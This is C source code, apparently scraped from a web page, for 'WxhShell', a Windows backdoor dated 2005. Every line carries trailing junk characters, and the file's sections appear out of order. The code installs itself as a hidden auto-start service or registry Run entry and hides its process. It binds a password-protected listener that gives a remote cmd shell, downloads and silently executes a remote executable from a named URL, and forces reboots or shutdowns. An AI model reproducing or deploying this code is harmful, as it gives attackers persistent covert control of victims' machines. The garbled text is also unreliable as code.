    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @bFl8-  
    else {  9mv6  
    closesocket(wsh); TTxSl p2=;  
    ExitThread(0); 3z 5"Ckzb  
    } +I~U8v-  
    break; tN)Vpb\J  
    } Q!fk|D+j  
  // 获取shell HBa6Y&)<  
  case 's': { 9 Xh<vh8&  
    CmdShell(wsh); H,fVF837  
    closesocket(wsh); ]G~u8HPH!m  
    ExitThread(0); j1@PfKh  
    break; FZ% WD@=  
  } 'xOH~RlE  
  // 退出 :)Nk  
  case 'x': { v@!r$jZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \cAifU  
    CloseIt(wsh); sMw"C~XL  
    break; p_sqw~)^%  
    } .O4=[wE!U  
  // 离开 `O,"mm^@U  
  case 'q': { TsRbIq[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R<>uCF0  
    closesocket(wsh); YH[HJ#:7r  
    WSACleanup(); PurY_  
    exit(1); cmLI!"RLe  
    break; 6<Zk%[7t  
        } H,1I z@W1  
  } #fe zUU  
  } 52Q~` t7F  
QTI^?@+N>  
  // 提示信息 Z5>}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !:dhK  
} ]O68~+6  
  } 62xAS#\K>  
nqujT8  
  return; +3;[1dpgf  
} <d hBO  
`XwKCI  
// shell模块句柄 +?[iB"F  
int CmdShell(SOCKET sock) 5NYYrA8,^  
{ cA B^]j  
STARTUPINFO si; ZP7wS  
ZeroMemory(&si,sizeof(si)); `l}r&z(8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K}Pi"Le@W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0bMbM^xV6  
PROCESS_INFORMATION ProcessInfo; T+<OlXpL  
char cmdline[]="cmd"; kv3V|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &uv7`VT  
  return 0; >:U{o!N`#_  
} Nxt z1  
WG*S:_?  
// 自身启动模式 Fm.IRu<\`  
int StartFromService(void) Z|Xv_Xo|4  
{ `lq[6[n  
typedef struct yNmzRH u  
{ Q\v^3u2;m`  
  DWORD ExitStatus; k'Z$#  
  DWORD PebBaseAddress; c:z<8#A}  
  DWORD AffinityMask; q0]Z` <w  
  DWORD BasePriority; *6*/kV? F  
  ULONG UniqueProcessId; p[gq^5WuC  
  ULONG InheritedFromUniqueProcessId; Ja6PX P]'  
}   PROCESS_BASIC_INFORMATION; qeZ*!H6-  
,n+~S^r  
PROCNTQSIP NtQueryInformationProcess; E@$HO_;&  
c`G~.paY|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V4 Wn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |zSoA=7?  
<DM:YWNa  
  HANDLE             hProcess; i/WiSwh:  
  PROCESS_BASIC_INFORMATION pbi; 8Ow0A  
GGwHz]1L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); be{tyV  
  if(NULL == hInst ) return 0; < {dV=  
naKB2y]l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2(sq*!tX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cn!Y7LVr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k7Z1Y!n7  
T $;N8x[  
  if (!NtQueryInformationProcess) return 0; ~w9ZSSb4  
ZYX(Cf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0E#3XhU  
  if(!hProcess) return 0; dy*CDRU4  
at `\7YfQp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /WKp\r(Hp  
~,.}@XlgT.  
  CloseHandle(hProcess); VN9C@ ;'$  
v5o@ls  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 86\B|!   
if(hProcess==NULL) return 0; Arb-,[kwN  
KFMEY\6\h  
HMODULE hMod; J~vK`+Zs  
char procName[255]; !>5!Fb=Sy  
unsigned long cbNeeded; u0& dDZ  
oVSq#I4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;iEFG^'tG  
R+O[,UM^I~  
  CloseHandle(hProcess); GiN\@F!  
FsYsQ_,R3  
if(strstr(procName,"services")) return 1; // 以服务启动 ,d34v*U  
()v{HB i  
  return 0; // 注册表启动 & ]/Z~Vt  
} Hh1OD?N)  
[m 3k_;[  
// 主模块 p#95Q  
int StartWxhshell(LPSTR lpCmdLine) PH}^RR{H[  
{ _ mw(~r8R  
  SOCKET wsl; %,M(-G5j;  
BOOL val=TRUE; OjiQBsgnj  
  int port=0; \!4sd2Yi  
  struct sockaddr_in door; %v(\;&@  
(7g1eEK%  
  if(wscfg.ws_autoins) Install(); "~lGSWcU  
7Q9zEd" d  
port=atoi(lpCmdLine); Ll L8Q  
`o~9a N  
if(port<=0) port=wscfg.ws_port; Wg+fT{[f|  
IuQY~!  
  WSADATA data; t~0}Emgp<(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jreY'y:  
e/<Og\}P/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~^Y(f'{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U\A*${  
  door.sin_family = AF_INET; -IB~lw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rg6e7JVu  
  door.sin_port = htons(port); 'nM)=  
M/,jHG8v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &<P!o_+eb  
closesocket(wsl); ?*Kewj  
return 1; #'-L`])7uw  
} v5 yOh5  
u&>o1!c*P  
  if(listen(wsl,2) == INVALID_SOCKET) { huau(s0um  
closesocket(wsl); ^r<bi%@C$  
return 1; rtz%(4aS  
} `"E|  
  Wxhshell(wsl); F_$K+6  
  WSACleanup(); v?7.)2XcX  
(Js'(tBhiU  
return 0; >_y>["u6J#  
%HJ_0qg  
} N*Owfr1 N  
;Vad| -  
// 以NT服务方式启动 K6.*)7$#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N(]>(S o  
{ m*BtD-{  
DWORD   status = 0; K/y#hP  
  DWORD   specificError = 0xfffffff; *}\!&Zk"  
[lsr[`SJ<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q lL6wzq,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Iky'x[p,D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,!f*OWnZ  
  serviceStatus.dwWin32ExitCode     = 0; shlL(&Py  
  serviceStatus.dwServiceSpecificExitCode = 0; .jh uC#x{/  
  serviceStatus.dwCheckPoint       = 0; G!54 e  
  serviceStatus.dwWaitHint       = 0; PT|W{RlNl  
$zTjh~ 9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L`ZH.fN  
  if (hServiceStatusHandle==0) return; wL2d.$?TEg  
CW Y'q  
status = GetLastError(); tF)aNtX4^  
  if (status!=NO_ERROR) }Jgz#d  
{ xcz1(R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Mp ~E $f  
    serviceStatus.dwCheckPoint       = 0; R4"g? e  
    serviceStatus.dwWaitHint       = 0; MdWT[  
    serviceStatus.dwWin32ExitCode     = status; 0j1I  
    serviceStatus.dwServiceSpecificExitCode = specificError; FxC@KZG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _wg6}3  
    return; j0k"iv  
  } >Z?3dM~[  
AO9F.A<T5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X.,1SYG[  
  serviceStatus.dwCheckPoint       = 0; *N$#cz  
  serviceStatus.dwWaitHint       = 0; tLpDIA_8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4 ~17s`+  
} e jwFQ'wTx  
67Ai.3dR  
// 处理NT服务事件,比如:启动、停止 m?_S&/+*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h]<Ld9  
{ ;b$(T5  
switch(fdwControl) aIk%$Mat  
{ & h9ji[  
case SERVICE_CONTROL_STOP: n-dO |3,  
  serviceStatus.dwWin32ExitCode = 0; -\j}le6;c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LD WFc_  
  serviceStatus.dwCheckPoint   = 0; 0 )#5_-%  
  serviceStatus.dwWaitHint     = 0; itM6S$  
  { [t /hjm"$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  _tN"<9v.  
  } :JSOj@s  
  return; m5sgcxt/  
case SERVICE_CONTROL_PAUSE: +GWeu0b(~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -lyT8qZ:(  
  break; &gkloP @  
case SERVICE_CONTROL_CONTINUE: pd,5.d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kzGD *  
  break; RaAi9b[/S  
case SERVICE_CONTROL_INTERROGATE: `ejE)VL=8h  
  break; 2_0OSbFv'P  
}; UGEC_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q]tPsX5{*  
} jGEUl=W  
)5Kzq6.  
// 标准应用程序主函数 o\8yYX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MZE8Cvq0  
{ -ny[Lh^b  
$CO^dFf  
// 获取操作系统版本 U\y];\~H  
OsIsNt=GetOsVer(); [[?:,6I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cp2e,%o  
H.j(hc'  
  // 从命令行安装 6d,jR[JP  
  if(strpbrk(lpCmdLine,"iI")) Install(); bxO8q57  
2<y E3:VX  
  // 下载执行文件 C]-Z+9Vvv  
if(wscfg.ws_downexe) { .8l\;/o|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \Btv76*,  
  WinExec(wscfg.ws_filenam,SW_HIDE); &D uvy#J  
} IyYC).wU}  
Z*nC ;5Kd  
if(!OsIsNt) { _I~W!8&w>  
// 如果时win9x,隐藏进程并且设置为注册表启动 CO1D.5  
HideProc(); H(!)]dO  
StartWxhshell(lpCmdLine); ,~gY'Ql  
} o8RagSIo8  
else '>Y"s|  
  if(StartFromService()) vj^vzFbK  
  // 以服务方式启动 ~j mHzF kQ  
  StartServiceCtrlDispatcher(DispatchTable); ld4QhZia  
else I1 j-Q8  
  // 普通方式启动 R\MM2_I  
  StartWxhshell(lpCmdLine); N/Z3 EF_  
(D{Fln\  
return 0; J(h=@cw  
} 9~<HTH  
v-X1if1%  
(H<S&5[  
sn/^#Aa=N  
=========================================== _{KQQ5k\  
91r#lDR  
R|ViLty  
Tv3Bej  
F>)u<f,C  
!Z,h5u\.w  
" b-@VR  
?Il$f_"B:  
#include <stdio.h> ]6p?mBuQ  
#include <string.h> ^:\|6`{n  
#include <windows.h> G#8HY VF  
#include <winsock2.h> qn6Y(@<[  
#include <winsvc.h> f$NudG!S  
#include <urlmon.h> [(w _!|S  
^/2n[orl5  
#pragma comment (lib, "Ws2_32.lib") P6zy<w  
#pragma comment (lib, "urlmon.lib") WL7R.!P  
7<oLe3fbM  
#define MAX_USER   100 // 最大客户端连接数 E:f0NV3"1  
#define BUF_SOCK   200 // sock buffer t*< .^+Vd  
#define KEY_BUFF   255 // 输入 buffer *n N;!*J  
oJUVW"X6  
#define REBOOT     0   // 重启 ,+KZn}>  
#define SHUTDOWN   1   // 关机 s$:F^sxb  
pRD8/7@(B{  
#define DEF_PORT   5000 // 监听端口  "C B*  
@/ wJW``;  
#define REG_LEN     16   // 注册表键长度 ( N~[sf?&  
#define SVC_LEN     80   // NT服务名长度 +y>D3I  
eR D?O  
// 从dll定义API Z+=WgEu1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wZ,9~P 7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^vLHs=<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q[nX<tO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .KGW#Qk8  
_+S`[:;a  
// wxhshell配置信息 O$E3ry+?  
struct WSCFG { ~C{d2i  
  int ws_port;         // 监听端口 ~#&bDot  
  char ws_passstr[REG_LEN]; // 口令 +g<2t,  
  int ws_autoins;       // 安装标记, 1=yes 0=no cn XIE{9M  
  char ws_regname[REG_LEN]; // 注册表键名 Fa,a)JY>  
  char ws_svcname[REG_LEN]; // 服务名 9Y- Sqk+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jmmm0,#D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bg*4Z?[dd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G?{BVWtl}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l&(,$RmYp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 07DpvhDQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4$+1jjC]>~  
8 =FP92X  
}; KTD# a1W  
-]~&Pi|  
// default Wxhshell configuration #{1w#Iz;  
struct WSCFG wscfg={DEF_PORT, "@RLS~Ej  
    "xuhuanlingzhe", r+217fS>  
    1, D:e9609  
    "Wxhshell", t;T MD\BU  
    "Wxhshell", o> WH;EBL  
            "WxhShell Service", qg vg MWj  
    "Wrsky Windows CmdShell Service", DmM<Kkg.J  
    "Please Input Your Password: ", lplEQ]J|  
  1, WLQm|C,  
  "http://www.wrsky.com/wxhshell.exe", P&V,x`<Z  
  "Wxhshell.exe" mEmznA  
    }; fmXA;^%  
&/d;4Eu  
// 消息定义模块 XL>c TM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '^'vafs-/@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ".O+";wk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x1W<r)A )r  
char *msg_ws_ext="\n\rExit."; y5 $h  
char *msg_ws_end="\n\rQuit."; ZMy0iQ@  
char *msg_ws_boot="\n\rReboot..."; J4#t1P@Na  
char *msg_ws_poff="\n\rShutdown..."; Kgbgp mW  
char *msg_ws_down="\n\rSave to "; +N: K V}K  
rP>iPDf  
char *msg_ws_err="\n\rErr!"; 5m!FtHvm1  
char *msg_ws_ok="\n\rOK!"; v}!eJzeH  
>t&Frw/Bl  
char ExeFile[MAX_PATH]; `$\g8Mo  
int nUser = 0; 4pq@o  
HANDLE handles[MAX_USER]; X(U CN0#  
int OsIsNt; ?~$0;5)QC  
)Ge.1B$8h  
SERVICE_STATUS       serviceStatus; "~0m_brf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cH?j@-pY  
Q"n*`#Yt'  
// 函数声明 +pZ, RW.D  
int Install(void); q{HfT d  
int Uninstall(void); -@X?~4Idz  
int DownloadFile(char *sURL, SOCKET wsh); XZYpU\K  
int Boot(int flag); H'Bor\;[>  
void HideProc(void); Ol1[o  
int GetOsVer(void); fpJM)HU  
int Wxhshell(SOCKET wsl); vyP3]+n  
void TalkWithClient(void *cs); w>>)3:Ytd  
int CmdShell(SOCKET sock);  AC@WhL  
int StartFromService(void); o7)<pfif  
int StartWxhshell(LPSTR lpCmdLine); S#Tc{@e  
l)m\i_r:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lG/M%i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0f}zm8p7.  
NBuibL  
// 数据结构和表定义 1{i)7 :Y  
SERVICE_TABLE_ENTRY DispatchTable[] = 9>\P]:  
{ CpNnywDRwU  
{wscfg.ws_svcname, NTServiceMain}, ,f8<s-y4Sg  
{NULL, NULL} YQ9@Dk0R  
}; +dw$IMwb  
tfW/Mf  
// 自我安装 kRo dC(f @  
int Install(void) 4NT zK  
{ OvqCuX  
  char svExeFile[MAX_PATH]; CB{% ~  
  HKEY key; ~s{yh-B  
  strcpy(svExeFile,ExeFile); ^m.QW*  
WeNx9+2=Z  
// 如果是win9x系统,修改注册表设为自启动 j/`- x  
if(!OsIsNt) { :Fz;nG-G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?piv]Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { </MC`  
  RegCloseKey(key); 4bLk+EY4A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SIv8EMGo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "jqC3$DKI  
  RegCloseKey(key); >Ig%|4Hw  
  return 0; LW<DhMV  
    } 7 ^7Rk  
  } "| 0g 1rd  
} 47>IT  
else { /` 891( f,  
20750G  
// 如果是NT以上系统,安装为系统服务 ?muI8b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MG)wVS<d_  
if (schSCManager!=0) M>W-lp^3  
{ ,3l=44*  
  SC_HANDLE schService = CreateService J0CEZ  
  ( fmyyQ|]O"  
  schSCManager, ]L#6'|W  
  wscfg.ws_svcname, FjF:Eh  
  wscfg.ws_svcdisp, #va|&QBZxM  
  SERVICE_ALL_ACCESS, 35I y\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rqbX9M^  
  SERVICE_AUTO_START, _9!*laR!2  
  SERVICE_ERROR_NORMAL, 8 #fzL7  
  svExeFile, l*_%K}%?V  
  NULL, y^7;I-  
  NULL, 0vOt. LC/S  
  NULL, -6a4H?L  
  NULL, jiQJ{yY  
  NULL 1T:M?N8J  
  ); \?uaHX`1  
  if (schService!=0) I;H6E  
  { d#P3 <  
  CloseServiceHandle(schService); CBw/a0Uck  
  CloseServiceHandle(schSCManager); EV{kd.=f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rvO7e cR"  
  strcat(svExeFile,wscfg.ws_svcname); ~>u]ow=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mi9BC9W(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $ZX^JWq  
  RegCloseKey(key); F F<xsoZJ  
  return 0; KNT(lA0s  
    } "^E/N},%u5  
  } 9l) .L L  
  CloseServiceHandle(schSCManager); v Yt-Nx  
} 7L~LpB  
} EH))%LY1y  
?w'a^+H  
return 1; fDy Fkhc  
} bl@0+NiM  
#U45H.Rz  
// 自我卸载 @V{s'V   
int Uninstall(void) Tdtn-  
{ ]"bkB+I  
  HKEY key; jO xH' 1I  
n5CjwLgu\b  
if(!OsIsNt) { XQL"D)fw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #?%akQ+w  
  RegDeleteValue(key,wscfg.ws_regname); KWtLrZ(j  
  RegCloseKey(key); .w5#V|   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k8fvg4  
  RegDeleteValue(key,wscfg.ws_regname); o=i)s2   
  RegCloseKey(key); +E8 \g  
  return 0; (2J_Y*N~>  
  } n';"c;Ye)  
} -L e:%q2  
} FlJ(V  
else { t}m6];  
{!5"Y(>X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XVwaX2=L  
if (schSCManager!=0) XQCu\\>;  
{ rl-r8?H}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XrR@cDNx{  
  if (schService!=0) ;#c|ZnX  
  { oFt]q =EU  
  if(DeleteService(schService)!=0) { |jB]5ciT  
  CloseServiceHandle(schService); JqWMO!1  
  CloseServiceHandle(schSCManager); 0v6(A4Y  
  return 0; !wH7;tU  
  } @ k+Z?Hp  
  CloseServiceHandle(schService); qh}M!p2  
  } Co6ghH7T  
  CloseServiceHandle(schSCManager); weQC9e~d{-  
} Ju5<wjQR\  
} >C""T`5]  
vd7%#sHH&  
return 1; { ?p55o  
} RqTW$94RD  
Q*wub9  
// 从指定url下载文件 Dw}8ci'  
int DownloadFile(char *sURL, SOCKET wsh) :$Lu V5  
{ gM=oH   
  HRESULT hr; [@D+kL*>  
char seps[]= "/"; WK7=z3mu  
char *token; Qx,?v|Xg  
char *file; V0hC[Ilr  
char myURL[MAX_PATH]; cgKK(-$ny  
char myFILE[MAX_PATH]; Bi?.w5  
cU}j Whu  
strcpy(myURL,sURL); l!Q |]-.@  
  token=strtok(myURL,seps); ;{b 1'  
  while(token!=NULL) $ijWwrh  
  { C6Qnn@waYb  
    file=token; \ZdV|23  
  token=strtok(NULL,seps); LF+#PnK  
  } *O') {(  
Xh==F:  
GetCurrentDirectory(MAX_PATH,myFILE); u@d`$]/>F  
strcat(myFILE, "\\"); c-nBB  
strcat(myFILE, file); Hbogi1!al|  
  send(wsh,myFILE,strlen(myFILE),0); ;)ff Gg>  
send(wsh,"...",3,0); [\N,ow,n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b 62 o  
  if(hr==S_OK) .<JD'%?"  
return 0; uS :3Yo  
else W-mi1l^H{  
return 1; 1g`$[wp|  
i9}n\r0=c  
} >T3HkOT  
zRyZrt,%&  
// 系统电源模块 FG8genCH@  
int Boot(int flag) 4xLU15C  
{ 3\eb:-B:@  
  HANDLE hToken; $I(2}u?1+d  
  TOKEN_PRIVILEGES tkp; #W<D~C[I _  
]>h2h?2te  
  if(OsIsNt) { 9TGjcZ1S'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Qxj &IX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u?[P@_i<  
    tkp.PrivilegeCount = 1; n y6-_mA]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fd >t9.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); = ! D<1<  
if(flag==REBOOT) { H?8uy_Sc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "Yw-1h`fR  
  return 0; kE QT[Lo  
} m Nw|S*C  
else { @ -pi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CFD& -tED&  
  return 0; p1t9s N,  
} "El$Sat`  
  } 1fRYXqx  
  else { ,ZjbbBZ  
if(flag==REBOOT) { rlu{C4l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {xr!H-9ZAA  
  return 0; ^!^8]u<Q  
} `WF?87l1  
else { r-]Au -  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UNLy{0tA  
  return 0; 2GECcx53  
} c0ET]  
} *ie#9jA  
m;o \.s  
return 1; *=}$@O S  
} Gad! }dz  
+GMM&6<  
// win9x进程隐藏模块  K9  
void HideProc(void) %Bg} a  
{ o2?[*pa  
l'-dB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vvw6 GB,M  
  if ( hKernel != NULL ) w C]yE\P1  
  { j<!rc>)2+L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0}$",M!p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gsuf d{{  
    FreeLibrary(hKernel); Uj}iMw,  
  } ' U{?"FP  
Fc>W]1  
return; :av6*&+  
} c_a*{L|c  
Bn*D<<{T  
// 获取操作系统版本 `/ix[:}m^  
int GetOsVer(void) Fs_V3i3|L  
{ J!%Yy\G  
  OSVERSIONINFO winfo; zllY $V&<!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l){l*~5zl2  
  GetVersionEx(&winfo); 7~TE=t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?1}1uJMj-  
  return 1; ;hNn F&l  
  else k7)H %31;  
  return 0; R{)Sv| +`  
} Y cE:KRy  
X4*{CM  
// 客户端句柄模块 mzTF2K  
int Wxhshell(SOCKET wsl) [>&Nhn0iY  
{ '#[U7(lIQ  
  SOCKET wsh; A:[La#h|p  
  struct sockaddr_in client; DIodQkF  
  DWORD myID; iOm1U_S  
ga^O]yK  
  while(nUser<MAX_USER) 0iqa]Am  
{ Lhu2;F\/  
  int nSize=sizeof(client); %).phn"ij[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <||F$t  
  if(wsh==INVALID_SOCKET) return 1; i{PRjkR  
g;w4:k)U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^#e:q  
if(handles[nUser]==0) .z7X Ymv  
  closesocket(wsh); wIuwq>  
else sxJKu  
  nUser++; w(n&(5FzB<  
  } y.5mYQA4=[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cqr!*  
eSoOJ[&$  
  return 0; Fgxh?Wd9  
} ]"q[hF*PM  
ULMG"."IH  
// 关闭 socket Sj(uc#  
void CloseIt(SOCKET wsh) sIdo(`8$  
{ QsI#Ae,O#;  
closesocket(wsh); zTrAk5E  
nUser--; c3&F\3  
ExitThread(0); WaF<qhu*  
} -vwkvNn8  
"cRc~4%K  
// 客户端请求句柄 u].=b$wHHM  
void TalkWithClient(void *cs) No<2+E!  
{ 4fw>(d(2  
E*>tFw&[  
  SOCKET wsh=(SOCKET)cs; D|9C|q  
  char pwd[SVC_LEN]; , %mTKOs  
  char cmd[KEY_BUFF]; RfDIwkpp  
char chr[1]; JT&CJ&#[h  
int i,j; :1eI"])(  
3SVI|A5(d  
  while (nUser < MAX_USER) { O\pqZ`E=s  
kmNY ;b6Y$  
if(wscfg.ws_passstr) { oP5G*AFUq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  >>Hsx2M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #*,Jqr2f  
  //ZeroMemory(pwd,KEY_BUFF); I>bLgt]u3  
      i=0; Pk[f_%0  
  while(i<SVC_LEN) { C\dQ6(3}\  
qqQnL[`)C  
  // 设置超时 FyJI@PZdI-  
  fd_set FdRead; M kko1T=6  
  struct timeval TimeOut; @)m[: n  
  FD_ZERO(&FdRead); UP 1Y3  
  FD_SET(wsh,&FdRead); W"AWhi{h  
  TimeOut.tv_sec=8; UF=5k~7<b  
  TimeOut.tv_usec=0; 3 =@7:4 A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !Zgb|e8<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jii2gtu'U  
HD?z   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AvRZf-Geg  
  pwd=chr[0]; Crh5^?  
  if(chr[0]==0xd || chr[0]==0xa) { ~ygiKsD6b  
  pwd=0; Hx2UDHF  
  break; y.JAtsxD  
  } `r'q(M  
  i++; ~YO')  
    } "v/^nH  
rI o`n2  
  // 如果是非法用户,关闭 socket \% !]qv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u9"b,].b  
}  Us k@{  
q`E6hm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0aSN 8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (' /S~  
djqSW9  
while(1) { ii2X7Q  
a2v UZhkR  
  ZeroMemory(cmd,KEY_BUFF); `hM`bcS  
~^$ONmI5  
      // 自动支持客户端 telnet标准   H.XD8qi3W  
  j=0; ^=bJ _'  
  while(j<KEY_BUFF) { huWUd)Po%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *'`ByS  
  cmd[j]=chr[0]; ,~X^8oY  
  if(chr[0]==0xa || chr[0]==0xd) { V!3G\*$?  
  cmd[j]=0; -WE pBt7*  
  break; m@.4Wrv  
  } #l2wF>0  
  j++; x`{ni6}  
    } [ hm/B`t*e  
`(H]aTLt ,  
  // 下载文件 hUSr1jlA  
  if(strstr(cmd,"http://")) { WTA0S}pT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wWY6DQQB  
  if(DownloadFile(cmd,wsh)) iBwl(,)?m2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l6Ze6X I  
  else ?JzLn,&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y mY,*Rb  
  } 50rCW)[#  
  else { =bded(3Z  
W>K2d  
